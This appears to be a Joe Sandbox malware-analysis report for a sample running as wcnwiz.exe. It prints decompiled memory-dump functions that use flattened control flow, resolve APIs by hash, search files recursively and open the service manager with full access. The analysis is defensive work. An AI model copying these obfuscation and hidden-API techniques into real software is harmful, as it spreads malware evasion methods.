Source File: 00000008.00000002.2262052090.00000000002D0000.00000040.00000001.sdmp, Offset: 002D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2d0000_auditpolmsg.jbxd

Similarity

API ID: MemoryMove
String ID:
API String ID: 1951056069-0
Opcode ID: 8e3fd66f474281e81dfdc8038c3d39c61aa2314e82aa304560e84bd4efe8ca18
Instruction ID: 2917d218ac147a0956ab3600468263ea0c57a5f528df01d156992e095249fe59
Opcode Fuzzy Hash: 8e3fd66f474281e81dfdc8038c3d39c61aa2314e82aa304560e84bd4efe8ca18
Instruction Fuzzy Hash: B44138B56343025BC314DE69CC85BABB2D8ABC4B51F08483FF644D6354D2B0DD2887A9

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: wcnwiz.exe PID: 2064 Parent PID: 1688 wcnwiz.exeCOMMON

Execution Graph

Execution Coverage:	9.4%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	1169
Total number of Limit Nodes:	13

Executed Functions

Function 003A0400, Relevance: 21.1, APIs: 14, Instructions: 132
memorynativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(00401010,00000000,?), ref: 003A0448

Part of subcall function 003A1140: lstrcpynW.KERNEL32(00000000,00000000,00000000,00000010,003A0EFD,00000000), ref: 003A1155

NtQueryInformationProcess.NTDLL(00000000,00000000,00000000,00000018,00401010), ref: 003A0463
GetProcessHeap.KERNEL32(?,00401010,00000000,?), ref: 003A0484
HeapFree.KERNEL32(00000000,00000001,00000000), ref: 003A048D
GetProcessHeap.KERNEL32(?,00401010,00000000,?), ref: 003A0492
RtlAllocateHeap.NTDLL(00000000,00000001,00401010), ref: 003A049F
GetCurrentProcess.KERNEL32(?,00401010,00000000,?), ref: 003A04A6
NtQueryInformationProcess.NTDLL(00000000,00000000,00000000,00401010,00401010), ref: 003A04B9
RtlMoveMemory.NTDLL(00000000,00000000,00000018), ref: 003A04E0
RtlMoveMemory.NTDLL(00000000,?,00000014), ref: 003A04F7
RtlMoveMemory.NTDLL(?,00000000,00000014), ref: 003A0519
RtlMoveMemory.NTDLL(00000000,00000000,00000024), ref: 003A0530
RtlMoveMemory.NTDLL(00000000,?,00000048), ref: 003A0547
RtlMoveMemory.NTDLL(00000000,00000000,00000048), ref: 003A0562

Memory Dump Source

Source File: 00000009.00000002.2265812164.00000000003A0000.00000040.00000001.sdmp, Offset: 003A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3a0000_wcnwiz.jbxd

Similarity

API ID: MemoryMoveProcess$Heap$CurrentInformationQuery$AllocateFreelstrcpyn
String ID:
API String ID: 482429597-0
Opcode ID: 9b0dd4097f43c0ebb4e34693010eb75d6d5af0ab7a67fa55d809036932efe504
Instruction ID: 7fc2cabb5005219e476cccc1626e0b5ba87bf63192eb78d5262592d200b210f3
Opcode Fuzzy Hash: 9b0dd4097f43c0ebb4e34693010eb75d6d5af0ab7a67fa55d809036932efe504
Instruction Fuzzy Hash: 82416EB59043406EE715EB62C846F6FB3EDEFCA740F008D1CB7449B241DA74D9048BA2

Uniqueness

Uniqueness Score: -1.00%

Function 003B38F0, Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 189
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 63%

			E003B38F0(void* __ecx, void* __edx, intOrPtr _a4, intOrPtr _a8) {
				short _v524;
				char _v1044;
				short _v1588;
				intOrPtr _v1590;
				struct _WIN32_FIND_DATAW _v1636;
				void* _v1640;
				intOrPtr _v1652;
				void* __ebx;
				void* __ebp;
				void* _t22;
				intOrPtr* _t24;
				intOrPtr* _t26;
				intOrPtr* _t28;
				intOrPtr* _t33;
				signed int _t34;
				void* _t39;
				intOrPtr* _t42;
				signed int _t46;
				intOrPtr* _t50;
				intOrPtr _t55;
				void* _t56;
				void* _t91;
				void* _t92;
				void* _t93;
				void* _t94;
				void* _t95;
				void* _t96;
				void* _t98;

				_t91 = __ecx;
				_t95 = __edx;
				_v1640 = __ecx;
				_t22 = 0x25a25425;
				_t56 = _v1640;
				while(1) {
					L1:
					_t98 = _t22 - 0x25a25425;
					if(_t98 > 0) {
						break;
					}
					if(_t98 == 0) {
						_t22 = 0x29bc40d3;
						continue;
					} else {
						if(_t22 == 0x8a099c9) {
							if( *0x3be430 == 0) {
								 *0x3be430 = E003B3E60(_t56, E003B3F00(0x9bab0b12), 0x83efb111, _t95);
							}
							_t39 = FindFirstFileW( &_v524,  &_v1636); // executed
							_t56 = _t39;
							if(_t56 == 0xffffffff) {
								return _t39;
							} else {
								_t22 = 0x1a4f9837;
								continue;
							}
						} else {
							if(_t22 == 0xb46fa16) {
								_t42 =  *0x3bdba4;
								if(_t42 == 0) {
									_t42 = E003B3E60(_t56, E003B3F00(0x9bab0b12), 0xd274268a, _t95);
									 *0x3bdba4 = _t42;
								}
								return  *_t42(_t56);
							}
							if(_t22 != 0x1a4f9837) {
								L27:
								if(_t22 != 0x55fa1f4) {
									continue;
								} else {
									return _t22;
								}
							} else {
								if((_v1636.dwFileAttributes & 0x00000010) == 0) {
									_t46 = _a4( &_v1636, _a8);
									asm("sbb eax, eax");
									_t22 = ( ~_t46 & 0x2b8487c8) + 0xb46fa16;
								} else {
									if(_v1636.cFileName != 0x2e) {
										L12:
										if(_t95 == 0) {
											goto L11;
										} else {
											_t94 = E003B34C0(0x3bd290);
											_t50 =  *0x3be158;
											if(_t50 == 0) {
												_t50 = E003B3E60(_t56, E003B3F00(0xc6fbcd74), 0xba71dd03, _t95);
												 *0x3be158 = _t50;
											}
											 *_t50( &_v1044, 0x104, _t94, _t91,  &(_v1636.cFileName));
											E003B38F0( &_v1044, _t95, _a4, _a8);
											_t96 = _t96 + 0x1c;
											E003B3460(_t94);
											_t22 = 0x36cb81de;
										}
									} else {
										_t55 = _v1590;
										if(_t55 == 0 || _t55 == 0x2e && _v1588 == 0) {
											L11:
											_t22 = 0x36cb81de;
										} else {
											goto L12;
										}
									}
								}
								continue;
							}
						}
					}
					L40:
				}
				if(_t22 == 0x29bc40d3) {
					_t93 = E003B34C0(0x3bd260);
					_t24 =  *0x3be158;
					if(_t24 == 0) {
						_t24 = E003B3E60(_t56, E003B3F00(0xc6fbcd74), 0xba71dd03, _t95);
						 *0x3be158 = _t24;
					}
					 *_t24( &_v524, 0x104, _t93, _t91);
					_t26 =  *0x3be494;
					_t96 = _t96 + 0x10;
					if(_t26 == 0) {
						_t26 = E003B3E60(_t56, E003B3F00(0x9bab0b12), 0x7facde30, _t95);
						 *0x3be494 = _t26;
					}
					_t92 =  *_t26();
					_t28 =  *0x3bdf30;
					if(_t28 == 0) {
						_t28 = E003B3E60(_t56, E003B3F00(0x9bab0b12), 0x5010a54d, _t95);
						 *0x3bdf30 = _t28;
					}
					 *_t28(_t92, 0, _t93);
					_t91 = _v1652;
					_t22 = 0x8a099c9;
					goto L1;
				} else {
					if(_t22 != 0x36cb81de) {
						goto L27;
					} else {
						_t33 =  *0x3bdf88;
						if(_t33 == 0) {
							_t33 = E003B3E60(_t56, E003B3F00(0x9bab0b12), 0xa53a5b1a, _t95);
							 *0x3bdf88 = _t33;
						}
						_t34 =  *_t33(_t56,  &_v1636);
						asm("sbb eax, eax");
						_t22 = ( ~_t34 & 0x0f089e21) + 0xb46fa16;
						goto L1;
					}
				}
				goto L40;
			}

0x003b38fa
0x003b38fc
0x003b38fe
0x003b3902
0x003b3907
0x003b3910
0x003b3910
0x003b3910
0x003b3915
0x00000000
0x00000000
0x003b391b
0x003b3a5f
0x00000000
0x003b3921
0x003b3926
0x003b3a1e
0x003b3a36
0x003b3a36
0x003b3a48
0x003b3a4a
0x003b3a4f
0x003b3ba1
0x003b3a55
0x003b3a55
0x00000000
0x003b3a55
0x003b392c
0x003b3931
0x003b3b70
0x003b3b77
0x003b3b8a
0x003b3b8f
0x003b3b8f
0x00000000
0x003b3b95
0x003b393c
0x003b3ab6
0x003b3abb
0x00000000
0x003b3acb
0x003b3acb
0x003b3acb
0x003b3942
0x003b3947
0x003b39fd
0x003b3a06
0x003b3a0d
0x003b394d
0x003b3953
0x003b3974
0x003b3976
0x00000000
0x003b3978
0x003b3982
0x003b3984
0x003b398b
0x003b399e
0x003b39a3
0x003b39a3
0x003b39bc
0x003b39d8
0x003b39dd
0x003b39e2
0x003b39e7
0x003b39e7
0x003b3955
0x003b3955
0x003b395d
0x003b396d
0x003b396d
0x00000000
0x00000000
0x00000000
0x003b395d
0x003b3953
0x00000000
0x003b3947
0x003b393c
0x003b3926
0x00000000
0x003b391b
0x003b3a6e
0x003b3ad6
0x003b3ad8
0x003b3adf
0x003b3af2
0x003b3af7
0x003b3af7
0x003b3b0b
0x003b3b0d
0x003b3b12
0x003b3b17
0x003b3b2a
0x003b3b2f
0x003b3b2f
0x003b3b36
0x003b3b38
0x003b3b3f
0x003b3b52
0x003b3b57
0x003b3b57
0x003b3b60
0x003b3b62
0x003b3b66
0x00000000
0x003b3a70
0x003b3a75
0x00000000
0x003b3a77
0x003b3a77
0x003b3a7e
0x003b3a91
0x003b3a96
0x003b3a96
0x003b3aa1
0x003b3aa5
0x003b3aac
0x00000000
0x003b3aac
0x003b3a75
0x00000000

APIs

FindFirstFileW.KERNELBASE(?,?), ref: 003B3A48

Strings

., xrefs: 003B394D

Memory Dump Source

Source File: 00000009.00000002.2265821061.00000000003B1000.00000020.00000001.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000009.00000002.2265816784.00000000003B0000.00000004.00000001.sdmp Download File
Associated: 00000009.00000002.2265828788.00000000003BD000.00000004.00000001.sdmp Download File
Associated: 00000009.00000002.2265833373.00000000003BF000.00000002.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b0000_wcnwiz.jbxd

Yara matches

Similarity

API ID: FileFindFirst
String ID: .
API String ID: 1974802433-248832578
Opcode ID: 103e484396fd65ac63f8f08efa272f7ca83d22bfa970ad6610196ca44cfa7807
Instruction ID: c1d6fafe324a82ef9fb10308a5b8475273649f8efeb02baeea4b461f5b5bf08a
Opcode Fuzzy Hash: 103e484396fd65ac63f8f08efa272f7ca83d22bfa970ad6610196ca44cfa7807
Instruction Fuzzy Hash: F451F5317042214BCB26EB6898557FB37AA9B9070CF110A2AF756CBB91EF75CF054392

Uniqueness

Uniqueness Score: -1.00%

Function 003B5040, Relevance: 1.7, APIs: 1, Instructions: 248
memoryCOMMON

Download Yara Rule

C-Code - Quality: 61%

			E003B5040(intOrPtr __ecx, intOrPtr __edx) {
				char _v4;
				char _v8;
				char _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				void* _v28;
				void* _v36;
				intOrPtr _v44;
				signed int _v52;
				void* _v68;
				void* __ebx;
				void* __ebp;
				void* _t16;
				void* _t17;
				void* _t23;
				void* _t26;
				void* _t29;
				void* _t31;
				void* _t35;
				void* _t37;
				void* _t41;
				void* _t42;
				void* _t45;
				void* _t50;
				void* _t51;
				void* _t52;
				signed int _t53;
				void* _t58;
				intOrPtr* _t101;
				void* _t103;
				signed int _t104;
				void* _t105;
				void* _t107;
				void* _t108;
				void* _t112;
				void* _t115;
				void* _t116;

				_t101 = _v12;
				_t58 = 0;
				_v16 = __edx;
				_t112 = 0;
				_v20 = __ecx;
				_t104 = 0x1ca940c1;
				while(1) {
					_t16 = _v28;
					while(1) {
						L2:
						_t115 = _t104 - 0x12f72f95;
						if(_t115 <= 0) {
							break;
						}
						__eflags = _t104 - 0x26342ffd;
						if(__eflags > 0) {
							__eflags = _t104 - 0x2fab56c4;
							if(_t104 != 0x2fab56c4) {
								goto L40;
							} else {
								_t17 =  *0x3be494;
								__eflags = _t17;
								if(_t17 == 0) {
									_t17 = E003B3E60(_t58, E003B3F00(0x9bab0b12), 0x7facde30, _t112);
									 *0x3be494 = _t17;
								}
								_t105 =  *_t17();
								__eflags =  *0x3bdd18;
								if( *0x3bdd18 == 0) {
									 *0x3bdd18 = E003B3E60(_t58, E003B3F00(0x9bab0b12), 0x9ff0609c, _t112);
								}
								_t16 = RtlAllocateHeap(_t105, 8, 0x20000); // executed
								_t58 = _t16;
								__eflags = _t58;
								if(_t58 != 0) {
									_t104 = 0x8956eec;
									while(1) {
										_t16 = _v28;
										goto L2;
									}
								}
							}
						} else {
							if(__eflags == 0) {
								_t23 =  *0x3be484;
								__eflags = _t23;
								if(_t23 == 0) {
									_t23 = E003B3E60(_t58, E003B3F00(0x26f5757c), 0x9e91db81, _t112);
									 *0x3be484 = _t23;
								}
								 *_t23(_v24, 1, _t112, 0x2000,  &_v4);
								asm("sbb esi, esi");
								_t26 =  *0x3be18c;
								_t104 = (_t104 & 0x0b23632b) + 0x5d498c4;
								__eflags = _t26;
								if(_t26 == 0) {
									_t26 = E003B3E60(_t58, E003B3F00(0x26f5757c), 0x268fe5f0, _t112);
									 *0x3be18c = _t26;
								}
								_t16 =  *_t26(_v44);
								goto L40;
							} else {
								__eflags = _t104 - 0x1ca940c1;
								if(_t104 == 0x1ca940c1) {
									_t104 = 0x2fab56c4;
									continue;
								} else {
									__eflags = _t104 - 0x254bd927;
									if(_t104 != 0x254bd927) {
										L40:
										__eflags = _t104 - 0x1f0f293e;
										if(_t104 != 0x1f0f293e) {
											while(1) {
												_t16 = _v28;
												goto L2;
											}
										}
									} else {
										_t50 =  *0x3be29c;
										__eflags = _t50;
										if(_t50 == 0) {
											_t50 = E003B3E60(_t58, E003B3F00(0x26f5757c), 0x4574c66, _t112);
											 *0x3be29c = _t50;
										}
										_t51 =  *_t50(_v20, 0, 0x30, 3, _t58, 0x20000,  &_v8,  &_v12, 0, 0);
										__eflags = _t51;
										if(_t51 == 0) {
											L13:
											_t104 = 0x11e09e52;
											while(1) {
												_t16 = _v28;
												goto L2;
											}
										} else {
											_t52 =  *0x3bde08;
											__eflags = _t52;
											if(_t52 == 0) {
												_t52 = E003B3E60(_t58, E003B3F00(0x9bab0b12), 0xd8ef4c49, _t112);
												 *0x3bde08 = _t52;
											}
											_t53 =  *_t52();
											_t104 = 0x128dff18;
											_t103 = _t58 + (_t53 & 0x0000001f) * 0x2c;
											_t16 = _t58 + _v52 * 0x2c;
											__eflags = _t103 - _t16;
											_v68 = _t16;
											_t101 =  >=  ? _t58 : _t103;
											continue;
										}
										L55:
									}
								}
							}
						}
						L54:
						return _t16;
						goto L55;
					}
					if(_t115 == 0) {
						_t29 =  *0x3be494;
						__eflags = _t29;
						if(_t29 == 0) {
							_t29 = E003B3E60(_t58, E003B3F00(0x9bab0b12), 0x7facde30, _t112);
							 *0x3be494 = _t29;
						}
						_t107 =  *_t29();
						_t31 =  *0x3bdf30;
						__eflags = _t31;
						if(_t31 == 0) {
							_t31 = E003B3E60(_t58, E003B3F00(0x9bab0b12), 0x5010a54d, _t112);
							 *0x3bdf30 = _t31;
						}
						return  *_t31(_t107, 0, _t58);
					}
					_t116 = _t104 - 0x10f7fbef;
					if(_t116 > 0) {
						__eflags = _t104 - 0x11e09e52;
						if(_t104 == 0x11e09e52) {
							_t35 =  *0x3be494;
							__eflags = _t35;
							if(_t35 == 0) {
								_t35 = E003B3E60(_t58, E003B3F00(0x9bab0b12), 0x7facde30, _t112);
								 *0x3be494 = _t35;
							}
							_t108 =  *_t35();
							_t37 =  *0x3bdf30;
							__eflags = _t37;
							if(_t37 == 0) {
								_t37 = E003B3E60(_t58, E003B3F00(0x9bab0b12), 0x5010a54d, _t112);
								 *0x3bdf30 = _t37;
							}
							 *_t37(_t108, 0, _t112);
							_t104 = 0x12f72f95;
							continue;
						} else {
							__eflags = _t104 - 0x128dff18;
							if(_t104 != 0x128dff18) {
								goto L40;
							} else {
								_t41 =  *0x3be270;
								__eflags = _t41;
								if(_t41 == 0) {
									_t41 = E003B3E60(_t58, E003B3F00(0x26f5757c), 0x56e230f9, _t112);
									 *0x3be270 = _t41;
								}
								_t42 =  *_t41(_v20,  *_t101, 1);
								__eflags = _t42;
								_v36 = _t42;
								_t104 =  !=  ? 0x26342ffd : 0x5d498c4;
								while(1) {
									_t16 = _v28;
									goto L2;
								}
							}
						}
					} else {
						if(_t116 == 0) {
							_t45 =  *0x3be200;
							__eflags = _t45;
							if(_t45 == 0) {
								_t45 = E003B3E60(_t58, E003B3F00(0x26f5757c), 0x16d40839, _t112);
								 *0x3be200 = _t45;
							}
							 *_t45(_v16, 1, _t112);
							goto L13;
						} else {
							if(_t104 == 0x5d498c4) {
								_t101 = _t101 + 0x2c;
								__eflags = _t101 - _t16;
								asm("sbb esi, esi");
								_t104 = (_t104 & 0x00ad60c6) + 0x11e09e52;
								goto L2;
							} else {
								if(_t104 != 0x8956eec) {
									goto L40;
								} else {
									_t112 = E003B42C0(_t58, 0x2000);
									_t104 =  !=  ? 0x254bd927 : 0x12f72f95;
									while(1) {
										_t16 = _v28;
										goto L2;
									}
								}
							}
						}
					}
					goto L54;
				}
			}

0x003b5047
0x003b504b
0x003b504d
0x003b5051
0x003b5053
0x003b5057
0x003b505c
0x003b505c
0x003b5060
0x003b5060
0x003b5060
0x003b5066
0x00000000
0x00000000
0x003b51af
0x003b51b5
0x003b52f9
0x003b52ff
0x00000000
0x003b5301
0x003b5301
0x003b5306
0x003b5308
0x003b531b
0x003b5320
0x003b5320
0x003b5327
0x003b532e
0x003b5330
0x003b5348
0x003b5348
0x003b5355
0x003b5357
0x003b5359
0x003b535b
0x003b535d
0x003b505c
0x003b505c
0x00000000
0x003b505c
0x003b505c
0x003b535b
0x003b51bb
0x003b51bb
0x003b5277
0x003b527c
0x003b527e
0x003b5291
0x003b5296
0x003b5296
0x003b52ac
0x003b52b0
0x003b52b2
0x003b52bd
0x003b52c3
0x003b52c5
0x003b52d8
0x003b52dd
0x003b52dd
0x003b52e6
0x00000000
0x003b51c1
0x003b51c1
0x003b51c7
0x003b526d
0x00000000
0x003b51cd
0x003b51cd
0x003b51d3
0x003b52e8
0x003b52e8
0x003b52ee
0x003b505c
0x003b505c
0x00000000
0x003b505c
0x003b505c
0x003b51d9
0x003b51d9
0x003b51de
0x003b51e0
0x003b51f3
0x003b51f8
0x003b51f8
0x003b521b
0x003b521d
0x003b521f
0x003b50ef
0x003b50ef
0x003b505c
0x003b505c
0x00000000
0x003b505c
0x003b5225
0x003b5225
0x003b522a
0x003b522c
0x003b523f
0x003b5244
0x003b5244
0x003b5249
0x003b524e
0x003b525b
0x003b525d
0x003b525f
0x003b5261
0x003b5265
0x00000000
0x003b5265
0x00000000
0x003b521f
0x003b51d3
0x003b51c7
0x003b51bb
0x003b53c0
0x003b53c0
0x00000000
0x003b53c0
0x003b506c
0x003b5367
0x003b536c
0x003b536e
0x003b5381
0x003b5386
0x003b5386
0x003b538d
0x003b538f
0x003b5394
0x003b5396
0x003b53a9
0x003b53ae
0x003b53ae
0x00000000
0x003b53b7
0x003b5072
0x003b5078
0x003b50f9
0x003b50ff
0x003b5153
0x003b5158
0x003b515a
0x003b516d
0x003b5172
0x003b5172
0x003b5179
0x003b517b
0x003b5180
0x003b5182
0x003b5195
0x003b519a
0x003b519a
0x003b51a3
0x003b51a5
0x00000000
0x003b5101
0x003b5101
0x003b5107
0x00000000
0x003b510d
0x003b510d
0x003b5112
0x003b5114
0x003b5127
0x003b512c
0x003b512c
0x003b5139
0x003b513b
0x003b513d
0x003b514b
0x003b505c
0x003b505c
0x00000000
0x003b505c
0x003b505c
0x003b5107
0x003b507a
0x003b507a
0x003b50c2
0x003b50c7
0x003b50c9
0x003b50dc
0x003b50e1
0x003b50e1
0x003b50ed
0x00000000
0x003b507c
0x003b5082
0x003b50ad
0x003b50b0
0x003b50b2
0x003b50ba
0x00000000
0x003b5084
0x003b508a
0x00000000
0x003b5090
0x003b509a
0x003b50a8
0x003b505c
0x003b505c
0x00000000
0x003b505c
0x003b505c
0x003b508a
0x003b5082
0x003b507a
0x00000000
0x003b5078

APIs

RtlAllocateHeap.NTDLL(00000000,00000008,00020000,?,?,003B8AC8,?,3251FEFE,?,?), ref: 003B5355

Memory Dump Source

Source File: 00000009.00000002.2265821061.00000000003B1000.00000020.00000001.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000009.00000002.2265816784.00000000003B0000.00000004.00000001.sdmp Download File
Associated: 00000009.00000002.2265828788.00000000003BD000.00000004.00000001.sdmp Download File
Associated: 00000009.00000002.2265833373.00000000003BF000.00000002.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b0000_wcnwiz.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 424f7604159fd02c26b1d7c2193f9825dddda75a8fa367d270737a35a6745ca9
Instruction ID: 51124187f8eb12a1688765a10d0f62a9e0b9a417f7947d093d34cffa02530b5a
Opcode Fuzzy Hash: 424f7604159fd02c26b1d7c2193f9825dddda75a8fa367d270737a35a6745ca9
Instruction Fuzzy Hash: 6681F232B447204BDB16AF7D9C917EA36EEAB9474CF020929FB05DFA91EA30DD004781

Uniqueness

Uniqueness Score: -1.00%

Function 003B9860, Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 195
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 73%

			E003B9860() {
				char _v524;
				unsigned int _v528;
				char _v536;
				void* _v544;
				void* __ebx;
				void* __ebp;
				void* _t28;
				void* _t29;
				void* _t31;
				void* _t37;
				void* _t39;
				void* _t40;
				void* _t47;
				void* _t49;
				void* _t50;
				void* _t53;
				void* _t56;
				intOrPtr* _t60;
				intOrPtr _t62;
				void* _t64;
				void* _t69;
				void* _t72;
				void* _t92;
				void* _t93;
				intOrPtr _t94;
				void* _t97;
				void* _t98;

				_t64 = 0;
				_t28 = 0x29f9e503;
				_t92 = _v528;
				_t2 = _t64 + 1; // 0x1
				_t94 = _t2;
				goto L1;
				do {
					while(1) {
						L1:
						_t97 = _t28 - 0x13fee53b;
						if(_t97 > 0) {
							break;
						}
						if(_t97 == 0) {
							__eflags =  *0x3be310;
							if( *0x3be310 == 0) {
								 *0x3be310 = E003B3E60(_t64, E003B3F00(0x26f5757c), 0x9ba7cd1, _t94);
							}
							_t49 = OpenSCManagerW(0, 0, 0xf003f); // executed
							_t92 = _t49;
							__eflags = _t92;
							if(_t92 == 0) {
								_t28 = 0x23c48583;
							} else {
								_t50 =  *0x3be54c; // 0x51e730
								 *((intOrPtr*)(_t50 + 0x220)) = _t94;
								_t28 = 0xc471eb;
							}
							continue;
						} else {
							_t98 = _t28 - 0x9835f84;
							if(_t98 > 0) {
								__eflags = _t28 - 0xc0f0991;
								if(_t28 != 0xc0f0991) {
									goto L36;
								} else {
									_t69 =  *0x3bdbd8;
									__eflags = _t69;
									if(_t69 == 0) {
										_t69 = E003B3E60(_t64, E003B3F00(0xd9518805), 0x141622d6, _t94);
										 *0x3bdbd8 = _t69;
									}
									_t53 =  *0x3be54c; // 0x51e730
									_t56 =  *_t69(0, _v528, 0, 0, _t53 + 0x18); // executed
									__eflags = _t56;
									_t28 = 0x9835f84;
									_t64 =  ==  ? _t94 : _t64;
									continue;
								}
							} else {
								if(_t98 == 0) {
									E003B7C60(_t94);
									_t28 = 0x6addd5c;
									continue;
								} else {
									if(_t28 == 0xc471eb) {
										_v528 = 0xc1a3;
										_t28 = 0x179ed98e;
										_v528 = _v528 + 0xffff1ad7;
										_v528 = _v528 ^ 0xffffdc53;
										continue;
									} else {
										if(_t28 != 0x6addd5c) {
											goto L36;
										} else {
											_t60 =  *0x3be3f4;
											if(_t60 == 0) {
												_t60 = E003B3E60(_t64, E003B3F00(0x9bab0b12), 0x7dc9b9bb, _t94);
												 *0x3be3f4 = _t60;
											}
											 *_t60(0,  &_v524, 0x104);
											_t62 = E003B3D00( &_v536);
											_t72 =  *0x3be54c; // 0x51e730
											 *((intOrPtr*)(_t72 + 0x46c)) = _t62;
											_t28 = 0x39ea8110;
											continue;
										}
									}
								}
							}
						}
						L42:
					}
					__eflags = _t28 - 0x29f9e503;
					if(__eflags > 0) {
						__eflags = _t28 - 0x39ea8110;
						if(_t28 == 0x39ea8110) {
							_t29 =  *0x3bdbd8;
							__eflags = _t29;
							if(_t29 == 0) {
								_t29 = E003B3E60(_t64, E003B3F00(0xd9518805), 0x141622d6, _t94);
								 *0x3bdbd8 = _t29;
							}
							 *_t29(0, 0x25, 0, 0,  &_v524);
							_t31 =  *0x3be54c; // 0x51e730
							_t32 = _t31 + 0x234;
							__eflags = _t31 + 0x234;
							E003B3040(_t32);
							goto L41;
						} else {
							goto L36;
						}
					} else {
						if(__eflags == 0) {
							_t37 =  *0x3be494;
							__eflags = _t37;
							if(_t37 == 0) {
								_t37 = E003B3E60(_t64, E003B3F00(0x9bab0b12), 0x7facde30, _t94);
								 *0x3be494 = _t37;
							}
							_t93 =  *_t37();
							_t39 =  *0x3bdd18;
							__eflags = _t39;
							if(_t39 == 0) {
								_t39 = E003B3E60(_t64, E003B3F00(0x9bab0b12), 0x9ff0609c, _t94);
								 *0x3bdd18 = _t39;
							}
							_t40 =  *_t39(_t93, 8, 0x480);
							 *0x3be54c = _t40;
							__eflags = _t40;
							if(_t40 == 0) {
								L41:
								return _t64;
							} else {
								 *((intOrPtr*)(_t40 + 4)) = E003B7E40;
								_t28 = 0x13fee53b;
								goto L1;
							}
						} else {
							__eflags = _t28 - 0x179ed98e;
							if(_t28 == 0x179ed98e) {
								__eflags =  *0x3be18c;
								if( *0x3be18c == 0) {
									 *0x3be18c = E003B3E60(_t64, E003B3F00(0x26f5757c), 0x268fe5f0, _t94);
								}
								CloseServiceHandle(_t92); // executed
								_t28 = 0xc0f0991;
								goto L1;
							} else {
								__eflags = _t28 - 0x23c48583;
								if(_t28 != 0x23c48583) {
									goto L36;
								} else {
									_v528 = 0x5332;
									_v528 = _v528 << 6;
									_v528 = _v528 >> 0xf;
									_v528 = _v528 + 0xffffb18f;
									_v528 = _v528 >> 3;
									_v528 = _v528 ^ 0x1ffff62b;
									_t47 =  *0x3be54c; // 0x51e730
									 *((intOrPtr*)(_t47 + 8)) = 0x3b7e30;
									_t28 = 0xc0f0991;
									goto L1;
								}
							}
						}
					}
					goto L42;
					L36:
					__eflags = _t28 - 0x305b3459;
				} while (_t28 != 0x305b3459);
				return _t64;
				goto L42;
			}

0x003b9868
0x003b986a
0x003b9871
0x003b9875
0x003b9875
0x003b9878
0x003b9880
0x003b9880
0x003b9880
0x003b9880
0x003b9885
0x00000000
0x00000000
0x003b988b
0x003b9993
0x003b9995
0x003b99ad
0x003b99ad
0x003b99bb
0x003b99bd
0x003b99bf
0x003b99c1
0x003b99d8
0x003b99c3
0x003b99c3
0x003b99c8
0x003b99ce
0x003b99ce
0x00000000
0x003b9891
0x003b9891
0x003b9896
0x003b9936
0x003b993b
0x00000000
0x003b9941
0x003b9941
0x003b9947
0x003b9949
0x003b9961
0x003b9963
0x003b9963
0x003b9969
0x003b997d
0x003b997f
0x003b9981
0x003b9986
0x00000000
0x003b9986
0x003b989c
0x003b989c
0x003b9927
0x003b992c
0x00000000
0x003b98a2
0x003b98a7
0x003b9905
0x003b990d
0x003b9912
0x003b991a
0x00000000
0x003b98a9
0x003b98ae
0x00000000
0x003b98b4
0x003b98b4
0x003b98bb
0x003b98ce
0x003b98d3
0x003b98d3
0x003b98e4
0x003b98ea
0x003b98ef
0x003b98f5
0x003b98fb
0x00000000
0x003b98fb
0x003b98ae
0x003b98a7
0x003b989c
0x003b9896
0x00000000
0x003b988b
0x003b99e2
0x003b99e7
0x003b9ae3
0x003b9ae8
0x003b9b02
0x003b9b07
0x003b9b09
0x003b9b1c
0x003b9b21
0x003b9b21
0x003b9b33
0x003b9b35
0x003b9b3e
0x003b9b3e
0x003b9b44
0x00000000
0x00000000
0x00000000
0x00000000
0x003b99ed
0x003b99ed
0x003b9a73
0x003b9a78
0x003b9a7a
0x003b9a8d
0x003b9a92
0x003b9a92
0x003b9a99
0x003b9a9b
0x003b9aa0
0x003b9aa2
0x003b9ab5
0x003b9aba
0x003b9aba
0x003b9ac7
0x003b9ac9
0x003b9ace
0x003b9ad0
0x003b9b4f
0x003b9b58
0x003b9ad2
0x003b9ad2
0x003b9ad9
0x00000000
0x003b9ad9
0x003b99f3
0x003b99f3
0x003b99f8
0x003b9a47
0x003b9a49
0x003b9a61
0x003b9a61
0x003b9a67
0x003b9a69
0x00000000
0x003b99fa
0x003b99fa
0x003b99ff
0x00000000
0x003b9a05
0x003b9a05
0x003b9a0d
0x003b9a12
0x003b9a17
0x003b9a1f
0x003b9a24
0x003b9a2c
0x003b9a31
0x003b9a38
0x00000000
0x003b9a38
0x003b99ff
0x003b99f8
0x003b99ed
0x00000000
0x003b9aea
0x003b9aea
0x003b9aea
0x003b9b01
0x00000000

APIs

SHGetFolderPathW.SHELL32(00000000,?,00000000,00000000,0051E718), ref: 003B997D
OpenSCManagerW.ADVAPI32(00000000,00000000,000F003F), ref: 003B99BB
CloseServiceHandle.ADVAPI32(?,?,3251FEFE,?,?), ref: 003B9A67
SHGetFolderPathW.SHELL32(00000000,00000025,00000000,00000000,?,?,3251FEFE,?,?), ref: 003B9B33

Strings

Y4[0, xrefs: 003B9AEA
0Q, xrefs: 003B98EF, 003B9969, 003B99C3, 003B9A2C, 003B9AC9, 003B9B35
2S, xrefs: 003B9A05

Memory Dump Source

Source File: 00000009.00000002.2265821061.00000000003B1000.00000020.00000001.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000009.00000002.2265816784.00000000003B0000.00000004.00000001.sdmp Download File
Associated: 00000009.00000002.2265828788.00000000003BD000.00000004.00000001.sdmp Download File
Associated: 00000009.00000002.2265833373.00000000003BF000.00000002.00000001.sdmp Download File

